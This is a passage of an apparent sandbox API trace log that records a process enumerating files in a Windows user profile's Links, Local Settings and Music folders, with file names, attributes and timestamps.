ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43079e90, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.911] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x43079e90, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43079e90, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43079e90, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0213.911] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x43079e90, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43079e90, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43079e90, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0213.911] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0213.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0213.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0213.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0213.911] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Links", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Links", lpFilePart=0x0) returned 0x1b [0213.912] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Links\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\links\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x437c7194, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x437ed538, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a180 [0213.912] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x437c7194, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x437ed538, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.912] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x43754b80, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43754b80, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x437ed538, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0213.912] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437c7194, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x437c7194, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x437c7194, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x207, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0213.912] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437c7194, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x437c7194, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x437c7194, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x3d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0213.912] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0213.913] FindClose (in: hFindFile=0x1d46a180 | out: hFindFile=0x1d46a180) returned 1 [0213.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de960) returned 1 [0213.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de920) returned 1 [0213.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0213.913] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Links", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Links", lpFilePart=0x0) returned 0x1b [0213.913] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Links\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\links\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x437c7194, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x437ed538, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0213.913] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x437c7194, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x437ed538, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.913] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x43754b80, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43754b80, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x437ed538, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0213.914] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437c7194, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x437c7194, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x437c7194, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x207, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0213.914] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437c7194, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x437c7194, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x437c7194, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x3d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0213.914] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437c7194, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x437c7194, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x437c7194, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x3d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 0 [0213.914] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0213.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de960) returned 1 [0213.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de920) returned 1 [0213.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0213.914] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Local Settings", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Local Settings", lpFilePart=0x0) returned 0x24 [0213.915] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Local Settings\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\local settings\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0213.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de9d0) returned 1 [0213.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0213.917] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Local Settings", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Local Settings", lpFilePart=0x0) returned 0x24 [0213.918] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Local Settings\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\local settings\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0213.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de9d0) returned 1 [0213.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0213.920] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Music", lpFilePart=0x0) returned 0x1b [0213.920] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\music\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf8495a1d, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf8495a1d, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a180 [0213.921] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf8495a1d, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf8495a1d, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.921] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x43649a85, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43649a85, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436bc315, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0213.921] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf78801d0, ftCreationTime.dwHighDateTime=0x1d9a6fe, ftLastAccessTime.dwLowDateTime=0xa72524b0, ftLastAccessTime.dwHighDateTime=0x1d9ab46, ftLastWriteTime.dwLowDateTime=0xa72524b0, ftLastWriteTime.dwHighDateTime=0x1d9ab46, nFileSizeHigh=0x0, nFileSizeLow=0x84d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eCghaxzgVkGPxmlPmc5.mp3", cAlternateFileName="ECGHAX~1.MP3")) returned 1 [0213.921] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedc06970, ftCreationTime.dwHighDateTime=0x1d9a72c, ftLastAccessTime.dwLowDateTime=0x652bef40, ftLastAccessTime.dwHighDateTime=0x1d9b0a9, ftLastWriteTime.dwLowDateTime=0x652bef40, ftLastWriteTime.dwHighDateTime=0x1d9b0a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ePQ4vF07ynd-Df", cAlternateFileName="EPQ4VF~1")) returned 1 [0213.921] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02aab00, ftCreationTime.dwHighDateTime=0x1d9afe5, ftLastAccessTime.dwLowDateTime=0xb85ab4f0, ftLastAccessTime.dwHighDateTime=0x1d9b525, ftLastWriteTime.dwLowDateTime=0xb85ab4f0, ftLastWriteTime.dwHighDateTime=0x1d9b525, nFileSizeHigh=0x0, nFileSizeLow=0xd29b, dwReserved0=0x0, dwReserved1=0x0, cFileName="oK Dp.mp3", cAlternateFileName="OKDP~1.MP3")) returned 1 [0213.922] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72580d00, ftCreationTime.dwHighDateTime=0x1d9add6, ftLastAccessTime.dwLowDateTime=0xa40844d0, ftLastAccessTime.dwHighDateTime=0x1d9b47c, ftLastWriteTime.dwLowDateTime=0xa40844d0, ftLastWriteTime.dwHighDateTime=0x1d9b47c, nFileSizeHigh=0x0, nFileSizeLow=0xcab2, dwReserved0=0x0, dwReserved1=0x0, cFileName="vG_E1g4ODb.m4a", cAlternateFileName="VG_E1G~1.M4A")) returned 1 [0213.922] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7ba3c70, ftCreationTime.dwHighDateTime=0x1d9ad19, ftLastAccessTime.dwLowDateTime=0xcb94d5a0, ftLastAccessTime.dwHighDateTime=0x1d9b14c, ftLastWriteTime.dwLowDateTime=0xcb94d5a0, ftLastWriteTime.dwHighDateTime=0x1d9b14c, nFileSizeHigh=0x0, nFileSizeLow=0x1804e, dwReserved0=0x0, dwReserved1=0x0, cFileName="wvCOwq8A5 TH.mp3", cAlternateFileName="WVCOWQ~1.MP3")) returned 1 [0213.922] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc000f6c0, ftCreationTime.dwHighDateTime=0x1d9afcf, ftLastAccessTime.dwLowDateTime=0x8efae940, ftLastAccessTime.dwHighDateTime=0x1d9b24b, ftLastWriteTime.dwLowDateTime=0x8efae940, ftLastWriteTime.dwHighDateTime=0x1d9b24b, nFileSizeHigh=0x0, nFileSizeLow=0x97b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="z0ZSFKgVHX9aRku9.wav", cAlternateFileName="Z0ZSFK~1.WAV")) returned 1 [0213.922] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0213.922] FindClose (in: hFindFile=0x1d46a180 | out: hFindFile=0x1d46a180) returned 1 [0213.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de960) returned 1 [0213.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de920) returned 1 [0213.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0213.922] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Music", lpFilePart=0x0) returned 0x1b [0213.923] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\music\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf8495a1d, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf8495a1d, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0213.923] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf8495a1d, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf8495a1d, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.923] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x43649a85, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43649a85, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436bc315, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0213.923] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf78801d0, ftCreationTime.dwHighDateTime=0x1d9a6fe, ftLastAccessTime.dwLowDateTime=0xa72524b0, ftLastAccessTime.dwHighDateTime=0x1d9ab46, ftLastWriteTime.dwLowDateTime=0xa72524b0, ftLastWriteTime.dwHighDateTime=0x1d9ab46, nFileSizeHigh=0x0, nFileSizeLow=0x84d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eCghaxzgVkGPxmlPmc5.mp3", cAlternateFileName="ECGHAX~1.MP3")) returned 1 [0213.923] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedc06970, ftCreationTime.dwHighDateTime=0x1d9a72c, ftLastAccessTime.dwLowDateTime=0x652bef40, ftLastAccessTime.dwHighDateTime=0x1d9b0a9, ftLastWriteTime.dwLowDateTime=0x652bef40, ftLastWriteTime.dwHighDateTime=0x1d9b0a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ePQ4vF07ynd-Df", cAlternateFileName="EPQ4VF~1")) returned 1 [0213.924] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02aab00, ftCreationTime.dwHighDateTime=0x1d9afe5, ftLastAccessTime.dwLowDateTime=0xb85ab4f0, ftLastAccessTime.dwHighDateTime=0x1d9b525, ftLastWriteTime.dwLowDateTime=0xb85ab4f0, ftLastWriteTime.dwHighDateTime=0x1d9b525, nFileSizeHigh=0x0, nFileSizeLow=0xd29b, dwReserved0=0x0, dwReserved1=0x0, cFileName="oK Dp.mp3", cAlternateFileName="OKDP~1.MP3")) returned 1 [0213.924] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72580d00, ftCreationTime.dwHighDateTime=0x1d9add6, ftLastAccessTime.dwLowDateTime=0xa40844d0, ftLastAccessTime.dwHighDateTime=0x1d9b47c, ftLastWriteTime.dwLowDateTime=0xa40844d0, ftLastWriteTime.dwHighDateTime=0x1d9b47c, nFileSizeHigh=0x0, nFileSizeLow=0xcab2, dwReserved0=0x0, dwReserved1=0x0, cFileName="vG_E1g4ODb.m4a", cAlternateFileName="VG_E1G~1.M4A")) returned 1 [0213.924] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7ba3c70, ftCreationTime.dwHighDateTime=0x1d9ad19, ftLastAccessTime.dwLowDateTime=0xcb94d5a0, ftLastAccessTime.dwHighDateTime=0x1d9b14c, ftLastWriteTime.dwLowDateTime=0xcb94d5a0, ftLastWriteTime.dwHighDateTime=0x1d9b14c, nFileSizeHigh=0x0, nFileSizeLow=0x1804e, dwReserved0=0x0, dwReserved1=0x0, cFileName="wvCOwq8A5 TH.mp3", cAlternateFileName="WVCOWQ~1.MP3")) returned 1 [0213.924] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc000f6c0, ftCreationTime.dwHighDateTime=0x1d9afcf, ftLastAccessTime.dwLowDateTime=0x8efae940, ftLastAccessTime.dwHighDateTime=0x1d9b24b, ftLastWriteTime.dwLowDateTime=0x8efae940, ftLastWriteTime.dwHighDateTime=0x1d9b24b, nFileSizeHigh=0x0, nFileSizeLow=0x97b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="z0ZSFKgVHX9aRku9.wav", cAlternateFileName="Z0ZSFK~1.WAV")) returned 1 [0213.924] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc000f6c0, ftCreationTime.dwHighDateTime=0x1d9afcf, ftLastAccessTime.dwLowDateTime=0x8efae940, ftLastAccessTime.dwHighDateTime=0x1d9b24b, ftLastWriteTime.dwLowDateTime=0x8efae940, ftLastWriteTime.dwHighDateTime=0x1d9b24b, nFileSizeHigh=0x0, nFileSizeLow=0x97b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="z0ZSFKgVHX9aRku9.wav", cAlternateFileName="Z0ZSFK~1.WAV")) returned 0 [0213.925] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0213.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de960) returned 1 [0213.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de920) returned 1 [0213.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0213.925] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df", lpFilePart=0x0) returned 0x2a [0213.925] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\music\\epq4vf07ynd-df\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedc06970, ftCreationTime.dwHighDateTime=0x1d9a72c, ftLastAccessTime.dwLowDateTime=0x652bef40, ftLastAccessTime.dwHighDateTime=0x1d9b0a9, ftLastWriteTime.dwLowDateTime=0x652bef40, ftLastWriteTime.dwHighDateTime=0x1d9b0a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0213.925] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedc06970, ftCreationTime.dwHighDateTime=0x1d9a72c, ftLastAccessTime.dwLowDateTime=0x652bef40, ftLastAccessTime.dwHighDateTime=0x1d9b0a9, ftLastWriteTime.dwLowDateTime=0x652bef40, ftLastWriteTime.dwHighDateTime=0x1d9b0a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.925] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1ddf40 | out: 